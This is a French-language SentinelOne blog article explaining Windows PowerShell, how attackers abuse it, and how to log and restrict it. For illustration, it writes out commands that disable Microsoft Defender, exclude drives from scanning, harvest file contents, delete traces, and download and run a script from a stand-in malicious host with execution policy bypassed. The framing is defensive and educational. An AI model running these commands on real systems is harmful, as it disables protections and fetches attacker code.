Skip to main content
Cybersécurité

Qu’est-ce que Windows PowerShell ?

Windows PowerShell est un puissant outil d’automatisation. Découvrez ses implications pour la sécurité et comment l’utiliser en toute sécurité dans votre environnement.

Par SentinelOne
Qu’est-ce que Windows PowerShell ?

Windows PowerShell est un puissant langage de script et interpréteur de commandes qui automatise les tâches et gère les configurations. Ce guide présente les fonctionnalités de PowerShell, notamment son rôle dans l’administration système et la sécurité.

Découvrez les commandes PowerShell courantes, les bonnes pratiques de création de scripts et les usages de PowerShell en cybersécurité. Maîtriser PowerShell est essentiel pour les professionnels de l’informatique et de la sécurité.

Windows PowerShell - Featured Image | SentinelOne

Quel impact PowerShell peut-il avoir sur les actifs précieux de votre entreprise ? Découvrez les bases de PowerShell, pourquoi il attire les pirates & comment protéger votre entreprise

Microsoft PowerShell est un interpréteur de commandes et un langage de script utilisés pour automatiser les tâches et gérer les systèmes Windows. Les administrateurs et les professionnels de la sécurité l’utilisent couramment pour automatiser les tâches répétitives, gérer et surveiller les systèmes et automatiser la réponse aux incidents de sécurité. Les attaquants utilisent souvent PowerShell pour accéder sans autorisation aux systèmes et exécuter du code malveillant.

Microsoft PowerShell est disponible sur Windows depuis 2006. Il est désormais l’interpréteur de commandes de File Explorer sur Windows 10 et a largement remplacé l’ancien outil cmd.exe. Bien qu’il paraisse souvent obscur aux utilisateurs ordinaires, PowerShell est devenu essentiel pour les équipes informatiques et les administrateurs réseau grâce à sa souplesse et à sa puissance. Dans ce guide d’introduction, nous expliquerons les bases de PowerShell, pourquoi il attire les pirates et les auteurs de malwares, et comment protéger votre organisation.

Choisissez votre version

Si vous saisissez « PowerShell » dans le champ de recherche de Cortana, deux options s’affichent : PowerShell ISE et l’application PowerShell Desktop. De plus, si vous faites un clic droit sur le menu Démarrer ou sur l’icône de l’une des deux versions de PowerShell dans la barre des tâches, vous verrez deux façons de lancer chaque version : en tant qu’utilisateur actuel ou en tant qu’administrateur.

A screenshot image of Window

Les administrateurs qui souhaitent automatiser les tâches courantes utiliseront probablement l’interface ISE pour développer des modules et des scripts PowerShell. Pour une utilisation interactive, la plupart choisiront l’application PowerShell Desktop et l’exécuteront en tant qu’administrateur ou utilisateur actuel, selon la tâche.

Vous entendrez peut-être aussi parler de PowerShell Core, une édition open source multiplateforme qui fonctionne non seulement sur Windows, mais aussi sur Linux et macOS :

A screenshot image of Macintosh HD scripts

Attention toutefois : cette édition s’installe sous forme de binaire non signé, qu’un fichier malveillant pourrait facilement remplacer. Si des endpoints utilisent PowerShell Core dans votre organisation, signez-le avec un certificat approprié ou effectuez régulièrement des vérifications shasum pour vous assurer qu’il n’a pas été modifié.

Les capacités des différentes versions de PowerShell varient quelque peu, mais toutes peuvent ouvrir des sessions distantes via SSH et interagir avec de nombreux processus et services. PowerShell peut même interagir avec le registre Windows et le journal des événements. Un adversaire ayant accès à PowerShell dispose des mêmes possibilités.

Libérez la puissance de PowerShell

Deux commandes simples donnent un aperçu des capacités de PowerShell :

Get-Module -ListAvailable

pour afficher les modules disponibles, et

Get-Command

pour afficher les commandes disponibles :

Window

Prenons quelques exemples. Supposons que vous, ou un adversaire, parcouriez un répertoire de documents et souhaitiez repérer rapidement les fichiers intéressants. La commande suivante affiche les deux premières et les deux dernières lignes de chaque fichier texte du répertoire. Elle parcourt aussi les sous-répertoires et les fichiers masqués ou invisibles, puis redirige le résultat vers un autre fichier texte pour une consultation ou une récupération ultérieure :

Get-ChildItem -Force -R .*.txt | ForEach-Object {Get-Content $_ -TotalCount 2; Get-Content $_ -Tail 2} *>> o.log

Pour trouver des documents commençant par « Confidentiel » ou se terminant par la fonction de leur auteur, comme « Directeur financier », ce serait une méthode rapide, bien qu’approximative, pour repérer les éléments intéressants.

Pour supprimer un élément, par exemple afin d’effacer des traces d’intrusion, il suffit d’utiliser

Remove-Item <path>

PowerShell permet aussi de manipuler le système d’exploitation de manière intéressante, mais parfois dangereuse. Si un auteur de malware veut contourner le moteur antivirus préinstallé Microsoft Defender, il peut le désactiver en exécutant une commande PowerShell avec les privilèges appropriés :

Set-MpPreference -DisableRealTimeMonitoring $true

ou, plus discrètement, exclure un lecteur ou un chemin de ses analyses :

Add-MpPreference -ExclusionPath “c:”

PowerShell permet également aux attaquants d’énumérer facilement vos lecteurs réseau et de consulter le journal des événements, une source d’informations exploitables, avec Get-PSDrive et Get-EventLog, respectivement.

A screenshot image of Window

La possibilité de consulter l’historique des commandes saisies de manière interactive, y compris leurs arguments, est utile aussi bien aux utilisateurs qu’aux acteurs malveillants. Cet historique est stocké au chemin affiché par cette commande :

(Get-PSReadLineOption).HistorySavePath

et nous pouvons utiliser cat et la cmdlet Select-String (ou son alias sls) pour rechercher efficacement dans les commandes des éléments intéressants (par exemple, des mots de passe !) :

A screenshot of Tweet that Nikhil Mittal

Scripts & kits d’exploitation

Mais les meilleures opportunités pour les acteurs malveillants ne résident pas dans l’utilisation interactive de PowerShell. Le danger vient surtout de sa capacité à exécuter des scripts en mémoire (attaques par malware « sans fichier ») ou depuis le disque. Dans les deux cas, l’exécution peut se faire directement sur un hôte ou à distance.

À l’image de la commande eval du shell Unix, PowerShell dispose d’Invoke-Expression (et de son alias iex), qui permet de télécharger et d’exécuter un script malveillant en mémoire. Nous pouvons ajouter Bypass pour tenter de contourner une politique d’exécution restrictive :

powershell -ep Bypass —nop -c "iex(New-Object Net.WebClient).DownloadString('http://malicious.scripts.com/mlwr.ps1')"

Sans surprise, des frameworks d’exploitation complets ont rapidement vu le jour pour exploiter tout le potentiel de PowerShell.

Le premier d’entre eux est PowerSploit, un ensemble de scripts PowerShell pour manipuler et contrôler la machine d’une victime.

A screenshot image of AntivirusBypass scripts

PowerShell Empire s’appuie sur PowerSploit et plusieurs autres projets pour créer un outil de post-exploitation capable d’échapper à la détection réseau, d’exécuter des enregistreurs de frappe et de lancer d’autres modules comme Mimikatz pour extraire directement de la mémoire des mots de passe en clair, des empreintes de mots de passe et d’autres données.

Screenshot image of PowerShell post-exploitation Empire

La montée des attaques PowerShell

La création de scripts et de commandes PowerShell exécutables à partir d’autres types de fichiers Windows, .exe, .bat, .wsf et .LNK est l’une des raisons de la progression des malwares fondés sur PowerShell ces dernières années. Selon une estimation qui attribue aux exploitations de PowerShell près de 40 % des incidents liés aux malwares, les attaquants l’utilisent sans aucun doute dans des campagnes très diverses, du ransomware au vol d’identifiants et aux chevaux de Troie bancaires. PowerShell a également été utilisé pour la fraude au clic, l’interception de mots de passe et l’exfiltration de données.

DNSMessenger est un malware dont la propagation a été observée via une macro dans un document Word. Il exploite habilement du code source VBA pour transmettre des commandes PowerShell encodées, maintenir sa persistance, déployer sa charge utile et communiquer avec un serveur C&C.

Fait surprenant, certaines attaques PowerShell ne nécessitent même pas PowerShell.exe, pourtant intégré au système. Des outils comme PowerShdll et InsecurePowerShell exécutent directement des scripts en exploitant System.Management.Automation.dll, la bibliothèque sur laquelle repose le binaire PowerShell. En bref, l’exécutable PowerShell n’est qu’un hôte ou une enveloppe pour le véritable code contenu dans cette bibliothèque de liens dynamiques. Les attaques peuvent ainsi amener pratiquement n’importe quel processus à exécuter des scripts et des commandes PowerShell.

D’autres usages ingénieux de PowerShell consistent à intégrer un script PowerShell dans les pixels d’un fichier PNG et à générer une commande sur une seule ligne pour l’exécuter avec Invoke-PSImage, ou à convertir des scripts PowerShell en fichier EXE avec des outils comme PS2EXE.

Gérer PowerShell

Tout cela montre qu’un simple blocage de PowerShell.exe serait vain, sans compter la lourde contrainte qu’il imposerait aux administrateurs système qui en dépendent. PowerShell et les DLL sur lesquelles il repose font partie intégrante du système d’exploitation Windows. Avec l’arrivée de PowerShell Core, cette puissance ouvre aussi des possibilités d’administration multiplateforme que les entreprises peuvent juger essentielles.

Pour gérer la double nature de PowerShell en entreprise, une solution efficace comme SentinelOne analyse le comportement des processus exécutés sur l'endpoint. Cette approche est efficace, car ces processus se comportent de façon similaire, quelle que soit la manière dont les attaques de malware sont mises en œuvre. L'agent SentinelOne surveille toutes les activités qui s'y déroulent pour distinguer les activités malveillantes des activités bénignes. Comme il dispose déjà du contexte complet : utilisateurs, processus, arguments de ligne de commande, registre, fichiers sur le disque et communications externes, il peut neutraliser les activités malveillantes, quelle qu'en soit la source.


Cet article vous a plu ? Suivez-nous sur LinkedIn, Twitter, YouTube ou Facebook pour découvrir nos publications.

En savoir plus sur la sécurité Windows

Callout Background Image Gradient

Cybersécurité alimentée par l'IA

Améliorez votre posture de sécurité grâce à la détection en temps réel, à une réponse à la vitesse de la machine et à une visibilité totale de l'ensemble de votre environnement numérique.

FAQ sur Windows PowerShell

Windows PowerShell est un interpréteur de commandes et un langage de script de Microsoft fondé sur le .NET Framework. Il utilise des cmdlets, des commandes simples au format verbe-nom, pour automatiser la gestion du système de fichiers, du registre et des services.

PowerShell traite et renvoie des objets plutôt que du texte brut. Vous pouvez ainsi transmettre des données structurées d’une cmdlet à une autre. Il prend aussi en charge l’administration à distance, les modules et l’aide intégrée à la console pour gérer les systèmes.

Contrairement à l’ancien CMD, PowerShell utilise des cmdlets au format verbe-nom et manipule des objets .NET plutôt que des flux de texte. Vous pouvez donc enchaîner les commandes dans des pipelines sans analyser le texte. Les scripts PowerShell peuvent appeler directement les API .NET, gérer les erreurs de façon plus poussée et utiliser des modules.

Les interpréteurs de commandes traditionnels ne traitent que du texte brut et des scripts batch simples. PowerShell offre un environnement de script complet pour l’automatisation et la configuration.

Sa profonde intégration au système et ses capacités de script font de PowerShell un outil prisé des administrateurs comme des attaquants. Les acteurs malveillants exécutent des scripts en mémoire, sans fichier, pour échapper à la détection.

PowerShell peut désactiver les défenses, télécharger du code malveillant ou voler des identifiants sans écrire sur le disque. Omniprésent dans Windows, il exige une surveillance étroite de son activité par les défenseurs.

Selon une étude de Cisco, PowerShell était impliqué dans plus d’un tiers des menaces de sécurité critiques visant les endpoints. Carbon Black a signalé un usage malveillant de PowerShell dans 38 % des incidents, souvent lors d’actions après exploitation comme le déplacement latéral ou le vol d’identifiants.

Malgré un usage normal limité, PowerShell apparaît dans environ un cas malveillant confirmé sur quatorze.

Activez toutes les journalisations PowerShell : modules, blocs de script et transcription. Fixez la taille des journaux à au moins 150 MB et collectez les événements de

Microsoft-Windows-PowerShell/Operational et PowerShellCore/Operational. Transmettez les journaux à un SIEM ou à une plateforme XDR. Bloquez les scripts lancés par des processus parents non fiables et limitez l’exécution aux scripts signés. Activez Protected Event Logging pour obtenir plus de détails.

Utilisez Just Enough Administration (JEA) pour limiter l’accès des utilisateurs aux cmdlets approuvées. Imposez le mode de langage restreint pour désactiver COM, WMI et les expressions complexes. Déployez des politiques Application Control, comme WDAC, pour n’autoriser que les scripts signés.

Maintenez PowerShell à jour, en version v5.1 ou ultérieure. Vérifiez et ajustez régulièrement les paramètres de journalisation pour enregistrer chaque exécution de script.

Bloquer complètement PowerShell peut perturber la gestion des systèmes et l’administration à distance. Microsoft déconseille sa suppression pure et simple. Réservez plutôt son exécution aux administrateurs autorisés, imposez le contrôle des applications et empêchez son lancement par des processus parents non fiables, comme les applications Office.

Associés à la journalisation et à la surveillance, ces contrôles stoppent la plupart des usages malveillants sans entraver les opérations légitimes.

PowerShell sert à automatiser la réponse aux incidents, à collecter rapidement des données forensiques et à chasser les menaces. Vous pouvez écrire des scripts qui recueillent en quelques minutes des traces du registre, des listes de processus et des connexions réseau. Maîtriser PowerShell éclaire aussi les techniques des attaquants : de nombreux outils utilisés après exploitation, comme Empire et Cobalt Strike, s’appuient sur lui.

Les scripts PowerShell peuvent collecter la mémoire vive, les clés de démarrage du registre, les journaux d’événements et les données réseau pour le triage. Des outils communautaires comme DFIR-Script automatisent la collecte de preuves sur les endpoints. Les analystes de la chasse aux menaces utilisent PowerShell pour rechercher les blocs de script malveillants dans les événements Windows portant l’ID 4104, analyser les résultats et les transmettre aux playbooks SOAR. PowerShell joue ainsi un rôle central dans les workflows de détection, de confinement et de remédiation.

En savoir plus sur Cybersécurité

Decorative background gradient

Découvrez la plateforme de cybersécurité la plus avancée

Découvrez comment la plateforme de cybersécurité autonome la plus intelligente au monde peut protéger votre organisation aujourd’hui et à l’avenir.
Dark dashboard UI with purple-highlighted nav, summary cards showing 149, 7, 78, 56, 1.2 h, and a status table with linked purple text